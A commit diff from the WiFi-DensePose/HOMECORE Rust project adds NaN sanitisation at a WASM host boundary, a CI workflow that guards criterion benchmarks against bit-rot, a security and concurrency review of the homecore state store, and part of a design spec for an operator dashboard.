fix(wasm-edge): sanitize non-finite host floats at the WASM↔host frame boundary (#1102)

Closing beyond-SOTA security review of wifi-densepose-wasm-edge (ADR-040,
~70 edge modules). The two WASM↔host boundaries (lib.rs::on_frame/on_timer
and bin/ghost_hunter.rs::on_frame) read raw IEEE-754 f32 from the csi_get_*
imports with no finiteness check — the crate had zero is_finite/is_nan
guards and its clamp helpers propagate NaN. A single non-finite host value
latches NaN into long-lived per-module accumulators (EMA / Welford / phasor
sums / anomaly baselines), after which detectors fail degraded (stuck gate
state, silently-disabled checks) — silent corruption, not a crash.

Add sanitize_host_f32() (non-finite -> 0.0, core-only for no_std) applied at
every host_get_* float read: one chokepoint covering all downstream modules,
mirroring the existing M-01 negative-n_subcarriers boundary clamp. LOW /
defense-in-depth (the Tier-2 DSP firmware supplies the imports, a semi-trusted
boundary).

Pinned by boundary_tests::{sanitize_passes_finite_values_through,
sanitize_maps_non_finite_to_zero,
coherence_monitor_nan_latches_without_sanitize_but_not_with} — the last
asserts on the current CoherenceMonitor that a raw NaN frame latches the
smoothed score while the sanitized path stays finite.

Other review dimensions attested clean with evidence (see CHANGELOG): no
hot-path panics (all unwrap/expect are test-only or std-gated RVF builder),
all bounds min()-clamped, all index-by-cast const-bounded or guarded, no
leaking closures (no move||/forget/leak), no secrets.

Verified: host `cargo test --features std,medical-experimental` 672 passed /
0 failed (+3 new tests); all three wasm32-unknown-unknown release artifacts
build clean (lib default no_std/panic=abort, ghost_hunter standalone-bin,
medical-experimental); Python proof VERDICT PASS, hash unchanged.

.github/workflows/bench-regression.yml

@@ -0,0 +1,199 @@
+name: Bench Regression Guard
+
+# Sub-deliverable 8.3 of the benchmark/optimization milestone.
+#
+# HONEST SCOPE (read this before assuming this gates on timing):
+#   * The `bench-compile` job is a REAL, HARD-FAILING regression gate. It runs
+#     `cargo bench --no-default-features --no-run`, which type-checks and links
+#     EVERY criterion bench in the v2/ workspace without running a single
+#     measurement. Benches are not part of `cargo test`, so they silently
+#     bit-rot when a public API they call changes — this job catches that the
+#     moment it happens. This is the part of this workflow that can fail a PR.
+#
+#   * The `bench-fast-run` job runs a small, curated subset of pure-CPU benches
+#     in criterion "quick mode" (short warm-up / measurement / 10 samples) and
+#     is INFORMATIONAL ONLY (`continue-on-error: true`). It does NOT gate on
+#     timing. Wall-clock timings on shared GitHub-hosted runners vary by
+#     2-3x run-to-run (noisy neighbours, CPU throttling, no pinned frequency),
+#     so a hard ">X ms" threshold here would flake constantly and teach
+#     everyone to ignore it. We deliberately do not pretend to do timing
+#     regression-gating we cannot deliver reliably. The numbers are surfaced in
+#     the job log + uploaded as an artifact for humans to eyeball trends.
+#
+# WHY NO criterion --baseline COMPARE GATE:
+#   criterion's `--save-baseline` / `--baseline` compare is the textbook
+#   regression mechanism, but it only produces a trustworthy verdict when the
+#   baseline and the candidate were measured on the SAME hardware under the SAME
+#   conditions. GitHub-hosted runners give neither (the baseline commit and the
+#   PR commit land on different physical machines). Committing a baseline JSON
+#   measured on one runner and comparing a different runner against it would
+#   manufacture false regressions. If/when these benches run on a dedicated,
+#   frequency-pinned self-hosted runner, a `--baseline` compare with a generous
+#   (>2x) noise floor becomes honest and can be added then. Until then,
+#   compile-verify + informational-run is the honest gate.
+
+on:
+  push:
+    branches: [ main, develop, 'feat/*' ]
+    paths:
+      - 'v2/crates/**/benches/**'
+      - 'v2/crates/**/Cargo.toml'
+      - 'v2/crates/**/src/**'
+      - 'v2/Cargo.toml'
+      - 'v2/Cargo.lock'
+      - '.github/workflows/bench-regression.yml'
+  pull_request:
+    paths:
+      - 'v2/crates/**/benches/**'
+      - 'v2/crates/**/Cargo.toml'
+      - 'v2/crates/**/src/**'
+      - 'v2/Cargo.toml'
+      - 'v2/Cargo.lock'
+      - '.github/workflows/bench-regression.yml'
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+env:
+  CARGO_TERM_COLOR: always
+  # Debuginfo is useless in CI and the 38-crate workspace target dir otherwise
+  # exhausts the runner disk (mirrors ci.yml's rust-tests job). The bench
+  # profile inherits release + debug = true (v2/Cargo.toml [profile.bench]);
+  # force it off so the link step does not run out of space.
+  CARGO_PROFILE_BENCH_DEBUG: "0"
+  CARGO_PROFILE_RELEASE_DEBUG: "0"
+
+jobs:
+  # ── HARD GATE: every bench must still compile + link ─────────────────────
+  bench-compile:
+    name: bench compile-verify (--no-run)
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout (recursive — wifi-densepose-rufield path-deps vendor/rufield)
+        uses: actions/checkout@v4
+        with:
+          # The workspace includes `wifi-densepose-rufield`, which path-deps the
+          # `vendor/rufield` submodule crates. Without a recursive checkout the
+          # whole workspace fails to resolve before any bench is built.
+          submodules: recursive
+
+      # The workspace pulls in `wifi-densepose-desktop` (Tauri v2) whose -sys
+      # crates need the GTK/WebKit/serial dev libraries via pkg-config, exactly
+      # as ci.yml's rust-tests job documents. A `--workspace` bench build links
+      # the whole graph, so these are required here too.
+      - name: Install Tauri / GTK / serial system dev libraries
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libglib2.0-dev \
+            libgtk-3-dev \
+            libsoup-3.0-dev \
+            libjavascriptcoregtk-4.1-dev \
+            libwebkit2gtk-4.1-dev \
+            libayatana-appindicator3-dev \
+            librsvg2-dev \
+            libxdo-dev \
+            libudev-dev \
+            libdbus-1-dev \
+            libssl-dev \
+            pkg-config
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+
+      - name: Cache cargo (Swatinem/rust-cache)
+        uses: Swatinem/rust-cache@v2
+        with:
+          workspaces: v2
+          # Distinct cache scope from ci.yml's rust-tests so the bench profile
+          # artifacts (release+opt) do not evict the test profile cache.
+          key: bench-regression
+
+      # The core regression guard. `--no-run` compiles + links every bench
+      # target in the workspace's DEFAULT feature set but runs no measurement,
+      # so it is deterministic and fast-ish (build only). A bench that no longer
+      # compiles — because a type/signature it calls changed and nobody updated
+      # the bench — fails the build here. `--no-default-features` is the
+      # workspace's standard gate flag (openblas/tch/ort/onnx stay opt-out).
+      - name: Compile all workspace benches (default features)
+        working-directory: v2
+        run: cargo bench --workspace --no-default-features --no-run
+
+      # Feature-gated benches are skipped by the default build above because
+      # their `[[bench]]` entries carry `required-features`. Compile the ones we
+      # can guard so they are also covered against bit-rot.
+      #   * cir → wifi-densepose-signal/benches/cir_bench.rs (ADR-134). The
+      #     `cir` feature is pure-Rust (`cir = []`), so it builds on the stock
+      #     runner and is a real, hard-failing guard like the step above.
+      #
+      # NOT guarded here (honest scope):
+      #   * crv → wifi-densepose-ruvector/benches/crv_bench.rs. The `crv` feature
+      #     pulls the crates.io dependency `ruvector-crv 0.1.1`, which currently
+      #     FAILS to compile on stable (E0308 type mismatch in its own
+      #     `stage_iii.rs` — an UPSTREAM bug, unrelated to bench bit-rot).
+      #     Adding a hard `--features crv` compile step would make this workflow
+      #     red for a reason this gate is not meant to police. Re-add this step
+      #     once `ruvector-crv` ships a fixed release. (mqtt/onnx benches are
+      #     likewise left to their own crate workflows.)
+      - name: Compile feature-gated benches (cir)
+        working-directory: v2
+        run: cargo bench -p wifi-densepose-signal --no-default-features --features cir --bench cir_bench --no-run
+
+  # ── INFORMATIONAL: run a curated fast subset (never gates) ───────────────
+  bench-fast-run:
+    name: bench fast-run (informational, non-gating)
+    runs-on: ubuntu-latest
+    # NEVER fail the workflow on this job — timings are noise-prone on shared
+    # runners (see header). It exists to surface trends for humans, not to gate.
+    continue-on-error: true
+    needs: [bench-compile]
+    steps:
+      - name: Checkout (recursive)
+        uses: actions/checkout@v4
+        with:
+          submodules: recursive
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+
+      - name: Cache cargo (Swatinem/rust-cache)
+        uses: Swatinem/rust-cache@v2
+        with:
+          workspaces: v2
+          key: bench-regression
+
+      # Curated subset = pure-CPU, fast, dependency-light criterion benches that
+      # finish in seconds under quick-mode flags. Each is targeted by `--bench`
+      # (NOT a bare `cargo bench -p`) because the crates' lib targets use the
+      # libtest harness, which rejects criterion's CLI flags (--warm-up-time
+      # etc.) and aborts the run. Quick-mode: 1s warm-up, 2s measure, 10 samples.
+      - name: nvsim pipeline_throughput (quick)
+        working-directory: v2
+        run: |
+          mkdir -p ../bench-out
+          cargo bench -p nvsim --no-default-features --bench pipeline_throughput -- \
+            --warm-up-time 1 --measurement-time 2 --sample-size 10 \
+            | tee ../bench-out/nvsim_pipeline_throughput.txt
+
+      - name: ruvector sketch_bench (quick)
+        working-directory: v2
+        run: |
+          cargo bench -p wifi-densepose-ruvector --no-default-features --bench sketch_bench -- \
+            --warm-up-time 1 --measurement-time 2 --sample-size 10 \
+            | tee ../bench-out/ruvector_sketch_bench.txt
+
+      - name: ruvector fusion_bench (quick)
+        working-directory: v2
+        run: |
+          cargo bench -p wifi-densepose-ruvector --no-default-features --bench fusion_bench -- \
+            --warm-up-time 1 --measurement-time 2 --sample-size 10 \
+            | tee ../bench-out/ruvector_fusion_bench.txt
+
+      - name: Upload informational bench logs
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: bench-fast-run-logs
+          path: bench-out/
+          if-no-files-found: warn

docs/adr/ADR-127-homecore-state-machine-rust.md

@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
 
 - `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
 - `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
+
+---
+
+## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
+
+Foundational review of the `homecore` crate — the state store + event bus +
+service/entity registries every other HOMECORE module trusts. Same rigor as
+the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
+concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
+and lock-discipline dimensions confirmed clean with evidence.**
+
+- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
+  crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
+  shard lock) → compute the next snapshot + the no-op / `last_changed`
+  decision → `insert()` (re-acquiring the lock) → `send()`. The
+  read-modify-write was **not atomic** w.r.t. a concurrent writer on the
+  same entity, contradicting §2.1's promise that "the writer atomically
+  replaces the map entry." A writer that read a stale `old` could
+  mis-classify a genuine transition as a no-op and **drop its
+  `state_changed` event** (a missed automation trigger) or fire an event
+  whose `new_state` duplicated the previously delivered one (a spurious
+  trigger for any automation keyed on `old_state != new_state`). **Fix:**
+  hold the shard write-lock across the entire read→decide→insert→fire
+  sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
+  non-async, and never re-enters the map, so firing under the shard lock
+  cannot deadlock and keeps global event order in lock-step with global
+  commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
+  (4 writers toggling one entity A/B; asserts no two consecutive fired
+  events carry an identical `new_state` — impossible under correct
+  serialisation; a probe observed ~93k such duplicate-adjacent events across
+  200 trials on the racy code, zero on the fix).
+- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
+  FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
+  straight through `EntityId::parse`; with no length cap, an
+  otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
+  `POST /api/states/<giant>` would persist it into the DashMap state store
+  (permanent growth across distinct ids). **Fix:** reject ids longer than
+  `MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
+  per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
+  boundary type protects every caller. Pinned by `entity_id_length_boundary`
+  (exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
+- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
+  `ServiceRegistry::call` already ran handlers outside the registry lock (no
+  `RwLock` poisoning, no blocking of other callers — clean), but a
+  panicking handler unwound through `call()` into the caller's task. **Fix:**
+  wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
+  a panic to `ServiceError::HandlerPanicked`; the registry stays fully
+  usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
+
+**Dimensions confirmed clean (with evidence):**
+
+- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
+  Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
+  (capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
+  (drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
+  slow receivers**, so a lagging subscriber cannot block the publisher, grow
+  the channel without bound, or take down a fast subscriber. Evidenced by
+  `slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
+  capacity at an idle subscriber; publisher unblocked, bus stays live).
+- **Lock ordering / lock-across-await (deadlock).** No code path holds two
+  of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
+  no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
+  guard in `registry.rs`/`service.rs` is used in a single synchronous
+  statement and dropped before any `.await`; `call` explicitly scopes the
+  read guard out before awaiting the handler. The only guard held across a
+  send is the DashMap shard lock in `set`, across a synchronous
+  (non-await) broadcast send — safe.
+- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
+  beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
+  `split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
+
+`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
+(+4 pins). Workspace green; Python deterministic proof unchanged
+(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
 - `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)

docs/adr/ADR-131-homecore-ui-operational-dashboard.md

@@ -0,0 +1,444 @@
+# ADR-131: HOMECORE-UI — Operational dashboard for the two-tier Cognitum stack
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — UI implemented (§10); full backend wiring specified (§11–§12) |
+| **Date** | 2026-06-14 |
+| **Deciders** | ruv |
+| **Codename** | **HOMECORE-UI** — first-class operator dashboard inside the Cognitum Appliance shell |
+| **Relates to** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (HOMECORE master), [ADR-127](ADR-127-homecore-state-machine-rust.md) (HOMECORE-CORE state machine), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (HOMECORE-PLUGINS), [ADR-129](ADR-129-homecore-automation-engine.md) (automation engine), [ADR-130](ADR-130-homecore-rest-websocket-api.md) (HOMECORE-API), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (recorder/semantic search), [ADR-151](ADR-151-room-calibration-specialist-training.md) (room calibration HTTP API), [ADR-100](ADR-100-cog-packaging-specification.md) (Cog packaging), [ADR-116](ADR-116-cog-ha-matter-seed.md) (cog-ha-matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED RVF ingest), [ADR-105](ADR-105-federated-csi-training.md) (federated CSI training) |
+| **Tracking issue** | TBD |
+| **Parent** | [ADR-126](ADR-126-ruview-native-ha-port-master.md) (sub-ADR, HOMECORE-127…134 family) |
+
+---
+
+## 1. Context
+
+HOMECORE (ADR-126 through ADR-134) is the native Rust + WASM + TypeScript port of Home Assistant running as the hub on the Cognitum v0 Appliance. As of P2, the state machine ([ADR-127](ADR-127-homecore-state-machine-rust.md)), API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)), and COG runtime ([ADR-128](ADR-128-homecore-integration-plugin-system.md)) are in place. What is missing is a first-class dashboard UI that operators, integrators, and residents can use to manage the full two-tier hardware stack that HOMECORE coordinates.
+
+### 1.1 The two-tier hardware model this UI must represent
+
+This is the most important architectural constraint the UI must carry through every panel:
+
+- **Cognitum SEED** — a Pi Zero 2 W-based edge node. It has its own RVF vector store (8-dim, content-addressed, with kNN queries), Ed25519 witness chain, SHA-256 ingest audit trail, onboard environmental sensors (BME280 temperature/humidity/pressure, PIR motion, reed switch, ADS1115 4-channel ADC, vibration), 13 drift detectors, an MCP proxy (114 tools, JSON-RPC 2.0, default-deny policy), 98 HTTPS API endpoints, and epoch-based swarm sync for multi-SEED deployments. SEEDs sit close to the ESP32 sensing nodes and receive feature vectors from them at 1 Hz. Multiple SEEDs can form a peer mesh. **This is the sensing and memory tier.**
+- **Cognitum v0 Appliance** — a Pi 5 + Hailo-10H hub, running at `:9000`. It hosts the COG runtime (`/var/lib/cognitum/apps/`), the HOMECORE state machine and event bus, the calibration service, `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`, and acts as the fleet coordinator for multi-room correlation and federated training. The Appliance is where HOMECORE runs, and it is what the dashboard user is sitting in front of. **This is the computation and orchestration tier.**
+
+SEEDs are **subordinate nodes that the Appliance supervises** — they are not peers. The UI navigation hierarchy must reflect this: the Appliance is the root, SEEDs are children, ESP32 nodes are leaves.
+
+### 1.2 What the UI is not
+
+HOMECORE-UI is **not** a re-skin of the existing Cognitum Cog Store. It is a full operational dashboard that **extends** the Cognitum platform's shell — the Cog Store, API Explorer, and Guide already exist and must remain intact, with the HOMECORE dashboard added as a first-class navigation section alongside them.
+
+---
+
+## 2. Decision
+
+Build HOMECORE-UI as a **complete** TypeScript + Rust→WASM frontend (per this ADR's §3 and the HOMECORE-127…134 family) that:
+
+1. Lives at `http://cognitum-v0:9000/homecore` (or as a dedicated nav item in the Cognitum Appliance shell).
+2. Is visually and stylistically seamless with the existing Cognitum platform — same dark theme, same design tokens, same component patterns as `https://seed.cognitum.one/store`.
+3. Drives the HOMECORE REST + WebSocket API ([ADR-130](ADR-130-homecore-rest-websocket-api.md)) and the calibration HTTP API ([ADR-151](ADR-151-room-calibration-specialist-training.md)) for all data.
+4. Updates in real-time via the homecore `subscribe_events` WebSocket channel. **The UI must never poll for entity state.**
+
+**This is a decision to deliver the complete operational dashboard — every panel in §4.1 through §4.10, every navigation section in §5, fully wired to live data — not a design-system scaffold or a partial first cut.** A static layout shell with placeholder data is explicitly **out of scope as a deliverable**: the design system (§3) is a means to the complete UI, not an end in itself. The acceptance bar for this ADR is that an operator can drive the full two-tier stack — fleet, entities, rooms, COGs, calibration, events, audit, and settings — from the dashboard, against real APIs, with no panel left as a stub.
+
+### 2.1 `homecore-server` is the single backend-for-frontend (BFF) gateway
+
+The data the dashboard needs is spread across **three backend tiers that are not one process**: (a) `homecore-api` (`/api/*` REST + `/api/websocket`, mounted in `homecore-server`); (b) the **calibration API** (`/api/v1/*`, served by a *separate* binary — `wifi-densepose calibrate-serve` / `wifi-densepose-sensing-server`); and (c) the **SEED device tier + appliance daemons** (RVF vector store, witness chain, onboard sensors, reflex rules, COG supervisor, federation), which are physically separate HTTPS services on the SEED nodes and the appliance.
+
+The browser must talk to **exactly one origin.** Therefore `homecore-server` is promoted to the **single BFF / API gateway** for HOMECORE-UI: it serves the static assets at `/homecore`, serves `homecore-api` at `/api/*`, and **adds a new `/api/homecore/*` namespace** that proxies and aggregates the calibration API and the SEED/appliance tiers server-side. The UI only ever issues same-origin requests; cross-service auth (SEED bearer tokens, calibration tokens) is held by the gateway and **never exposed to the browser**. This collapses the CORS/multi-port problem and gives one place to enforce the long-lived-access-token auth (§4.10).
+
+### 2.2 No mock data in production
+
+The in-browser mock layer that the first UI cut shipped behind DEMO banners (§7.1, prior revision) is **demoted to a dev-only fixture** gated behind an explicit `?demo=1` / `HOMECORE_UI_DEMO=1` flag. The production build wires **every** panel to a real gateway endpoint. The full endpoint contract and the backend work each panel needs are specified in **§11**; the staged path to get there is **§12**. A panel may show an empty/typed-error state when its upstream is down, but it must never silently render fabricated data.
+
+---
+
+## 3. Design system — Cognitum platform conventions
+
+The implementor **must study `https://seed.cognitum.one/store` as the definitive design reference before writing a single line of CSS.** The existing platform's design tokens, extracted from production, are:
+
+### 3.1 Colour palette (CSS custom properties)
+
+| Token | Value | Role |
+|---|---|---|
+| `--bg` | `#0a0e1a` | page background (very dark navy) |
+| `--bg2` | `#111627` | secondary background / nav strip |
+| `--card` | `#171d30` | card / panel surface |
+| `--card-h` | `#1e2540` | card hover state |
+| `--border` | `#252d45` | all border strokes (≈0.67px, subtle) |
+| `--t1` | `#e0e4f0` | primary text (near-white) |
+| `--t2` | `#8890a8` | secondary / muted text |
+| `--t3` | `#505872` | tertiary / disabled text |
+| `--cyan` | `#4ecdc4` | primary action colour (Install buttons, live indicators, accents) |
+| `--cyan-d` | `rgba(78,205,196,0.15)` | cyan tint background for status badges |
+| `--green` | `#6bcb77` | success / online / healthy states |
+| `--green-d` | `rgba(107,203,119,0.15)` | green tint background |
+| `--amber` | `#d4a574` | warning / stale / degraded states |
+| `--amber-d` | `rgba(212,165,116,0.15)` | amber tint background |
+| `--red` | `#e06060` | error / offline / veto states |
+| `--red-d` | `rgba(224,96,96,0.15)` | red tint background |
+| `--purple` | `#a78bfa` | informational / epoch / chain indicators |
+| `--purple-d` | `rgba(167,139,250,0.15)` | purple tint background |
+| `--r` | `10px` | standard border radius on all cards and panels |
+
+### 3.2 Typography
+
+- `--font`: `'Segoe UI', system-ui, -apple-system, sans-serif` — all body and heading text.
+- `--mono`: `'Cascadia Code', 'Fira Code', Consolas, monospace` — all entity IDs, API endpoints, hex values, JSON payloads, COG binary hashes.
+
+### 3.3 Component patterns (from the live Cog Store and API Explorer)
+
+- **Cards**: `background: var(--card)`, `border: 0.67px solid var(--border)`, `border-radius: var(--r)`, `padding: 24px`.
+- **Category pills / status badges**: small `border-radius: 4–6px`, uppercase text, coloured background tint (e.g. `background: var(--cyan-d); color: var(--cyan)` for `RUNNING`; `background: var(--amber-d); color: var(--amber)` for `STALE`).
+- **Primary action buttons**: `background: var(--cyan)`, `color: var(--bg)`, no border — matching the existing "Install" button style exactly.
+- **Secondary / ghost buttons**: transparent background, `border: 1px solid var(--border)`, `color: var(--t1)` — matching the existing "Details" button style.
+- **Nav strip**: `background: var(--bg2)`, text items in `--t2`, active item highlighted in `--cyan` with a bottom underline.
+- **Featured card gradient borders**: top-edge linear gradient from `var(--cyan)` to `var(--purple)` — replicate for HOMECORE section headers.
+- **Live metric cards** (API Explorer status page): icon + large numeric value in `--cyan` or `--green`, label in `--t2` below, on a `var(--card)` background.
+- **Method badge pills** on the API Explorer (`GET` in green, `POST` in amber, `AUTH` in purple) — reuse this same pill system for COG status indicators.
+
+The implementor **must not introduce new colours, typefaces, or border radii.** Every component should feel like it was built by the same team that built the Cog Store and the API Explorer. A user navigating from the Cog Store into the HOMECORE dashboard should not notice a visual seam.
+
+---
+
+## 4. UI sections — required panels
+
+### 4.1 System Dashboard (the "home screen")
+
+The always-visible overview panel. Modelled on the API Explorer's live metric cards. All values update in real-time.
+
+- **v0 Appliance health strip** — reuse the exact metric-card pattern from `seed.cognitum.one/status`: one card each for CPU %, RAM usage, Hailo-10H inference load (% utilisation), Hailo temperature, uptime, and the running services (`ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`). Values in `--cyan`, labels in `--t2`. This strip is always at the top — it represents the machine the user is looking at.
+- **SEED Fleet overview** — a grid of SEED node cards (one per paired SEED) on the `var(--card)` surface with `var(--border)`. Each card shows: online/offline status pill (green/red), firmware version, epoch number, current vector count, last ingest timestamp, and witness-chain validity badge. A collapsed row shows the SEED's 5 onboard sensors in summary (PIR: yes/no, door: open/closed, temperature from BME280). Offline SEEDs render the entire card with a `--red-d` background tint. Clicking a SEED card navigates to the SEED Detail view (§4.2).
+- **ESP32 Node summary** — count of active ESP32 nodes per SEED, current frame rate (target: 100 Hz CSI + 1 Hz feature vectors), and a compact warning list for nodes with known issues (presence_score normalisation anomaly, stale firmware version).
+- **COG Runtime status row** — a horizontal strip of status pills for each installed COG on the v0 Appliance. Pill colours follow the existing badge convention: `--green-d`/`--green` for running, `--red-d`/`--red` for failed, `--t3`/`--t2` for stopped. COG name in `--mono`. Clicking a pill navigates to COG Management (§4.6).
+- **Event Bus activity indicator** — a small real-time sparkline showing the homecore broadcast channel event rate (events/sec). Indicate channel lag if a subscriber is falling behind the 4,096-event capacity.
+
+### 4.2 SEED Detail View (per-SEED drill-down)
+
+Accessible from the fleet grid. Full-page panel for a single SEED node, using the card + section-header pattern from the Cog Store's detail views.
+
+- **SEED identity header** — `device_id` in `--mono`, firmware version, paired status in green, USB vs WiFi connection mode. A section-header gradient border (cyan → purple, matching the featured card style) visually separates this from Appliance content.
+- **Vector Store panel** — current vector count, dimension (8), last kNN query latency, current epoch number, a small sparkline of ingest rate over the last hour, and a storage budget bar showing usage against the 100K working-set target. A "Compact now" button (`POST /api/v1/store/compact`) in ghost style. When usage exceeds 80%, the bar renders in `--amber`.
+- **Witness Chain panel** — chain length (SHA-256 entries), last verification timestamp, a one-click "Verify chain" button (`POST /api/v1/witness/verify`), and an "Export attestation bundle" button for regulated deployments. The Ed25519 custody attestation (device-bound keypair, epoch + vector count + witness head) renders here. Chain length in `--purple`, following the existing epoch/chain colour convention.
+- **Onboard Sensors panel** — live readings from all 5 sensors in individual sub-cards: BME280 (temperature °C, humidity %, pressure hPa), PIR (motion boolean with last-triggered timestamp), reed switch (open/closed with last-changed timestamp), ADS1115 (4 analog channels with configurable labels), vibration (boolean with last-triggered). These are ground-truth validators against CSI readings and are critical for diagnosing false positives in the mixture-of-specialists. Sensor values in `--cyan`; sensor names in `--t2`.
+- **Reflex Rules panel** — the 3 pre-configured rules with current state: `fragility_alarm` (threshold 0.3 → relay actuator), `drift_cutoff` (threshold 1.0), `hd_anomaly_indicator` (threshold 200 → PWM brightness). Show last-fired time for each. The `fragility_alarm` threshold is the most commonly adjusted field and should be editable inline. Rules that have recently fired render with a `--amber-d` background tint.
+- **Cognitive Analysis panel** — boundary fragility score (0.0–1.0, from Stoer-Wagner min-cut on the kNN graph) rendered as a progress bar: green below 0.3, amber 0.3–0.6, red above 0.6. High fragility (>0.3) indicates a regime change in the environment and should be visually prominent. Temporal coherence phase boundaries shown as a labelled timeline of detected environment state transitions. kNN graph rebuild cadence indicator (every 10 s).
+- **Ingest pipeline status** — which ESP32 nodes feed this SEED, the packet type each is sending (`0xC5110003` native feature vectors vs `0xC5110002` vitals fallback path — distinguished visually since native is preferred), current ingest batch size, flush interval, and bridge path topology (direct vs host-laptop hop). The bridge-hop warning (known architectural limitation) renders in `--amber` since it adds a network hop.
+
+### 4.3 SEED Fleet Map (multi-SEED topology)
+
+For deployments with more than one SEED, a topology view showing the mesh:
+
+- **Node hierarchy diagram** — v0 Appliance at root, SEEDs as second tier (grouped by room/zone), ESP32 nodes as leaves under each SEED. Lines represent active data flows. ESP-NOW mesh sync links between SEEDs shown as dashed lines. Connection health shown via line colour (green/amber/red). All labels in `--mono`.
+- **Cross-SEED event deduplication indicator** — for events that span multiple SEEDs (one fall detected by two rooms; one occupant tracked through room A → hallway → room B), show a fusion badge indicating how many SEEDs contributed to the composite event.
+- **Federation config** ([ADR-105](ADR-105-federated-csi-training.md)) — federated-learning round coordinator role (which SEED is the round coordinator), current round number, K healthy nodes selected, delta exchange status. **Model deltas only — never raw CSI** is a design invariant that must be labelled explicitly in the UI.
+
+### 4.4 Entity & State Browser
+
+The homecore state machine (`DashMap<EntityId, Arc<State>>`) is the authoritative source of truth. Every COG running on the v0 Appliance contributes entities.
+
+- **Entity list by domain** — grouped by the `domain.` prefix of `EntityId`, using collapsible section headers. The 21 entities per ESP32 node (11 raw + 10 semantic primitives from `cog-ha-matter`) are the most important set. For each entity: current state string (in `--t1`), last-changed timestamp (in `--t3`), attribute map as collapsible JSON in `--mono`, and the Context (`user_id` + `parent_id` causality chain, critical for care/audit deployments). Entity IDs always in `--mono`.
+- **SEED provenance badge** — each entity carries a small badge showing its data lineage: which ESP32 node → which SEED → which COG → homecore state machine. This trace is invaluable for debugging false positives and is a **first-class UI element, not a collapsed detail.**
+- **Domain filter + semantic search** — filter by domain prefix and, once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (homecore-recorder) lands, ruvector-backed semantic search: "when did the living room anomaly score last correlate with a door-open event?" A keyword filter across entity IDs and attribute keys ships in the initial release regardless of [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) status, given entity density; the semantic search layers on top once the recorder lands.
+- **Real-time WebSocket feed** — entity states update live via the homecore `subscribe_events` WebSocket command ([ADR-130](ADR-130-homecore-rest-websocket-api.md)). The UI must never poll. Show a broadcast-channel lag indicator; warn visually if the subscriber is falling behind the 4,096-event channel capacity.
+- **StateChanged detail panel** — clicking any entity opens a slide-over panel showing the full `StateChangedEvent`: `old_state`, `new_state`, `context.id`, `context.user_id`, and the `context.parent_id` chain rendered as a breadcrumb trail.
+
+### 4.5 RoomState / Sensing Panel
+
+Surfaces the mixture-of-specialists output from the calibration service — the highest-level per-room sensing result. Data comes from `GET /api/v1/room/state?bank=<room_id>` on the v0 Appliance.
+
+- **Per-room cards** — one card per `room_id` on the `var(--card)` surface. Each card shows live `RoomState` JSON fields as sub-rows: presence (occupied/absent chip in green/red with confidence bar), posture (standing/sitting/lying chip with confidence), breathing BPM (numeric in `--cyan` with range indicator 6–30), heart rate BPM (numeric in `--cyan` with range indicator 40–120), restlessness score (0–1 progress bar), and anomaly score (0–1 with normal/anomalous label, bar turns red above a configurable threshold).
+- **STALE warning** — when `stale: true` (the specialist bank was trained against a different baseline), render the entire room card with a `--amber-d` background tint and a prominent amber banner reading "Bank stale — baseline has changed" with a direct "Recalibrate room" link into the calibration wizard (§4.7). This is the most common real-world failure mode and **must never be subtle.**
+- **VETO indicator** — when `vetoed: true` (anomaly veto suppressed vitals/posture because the window was physically implausible), render the affected specialist slots in `--red` with a "Veto active" label. Values suppressed by veto **must not render as zeros** — they must render as explicitly withheld.
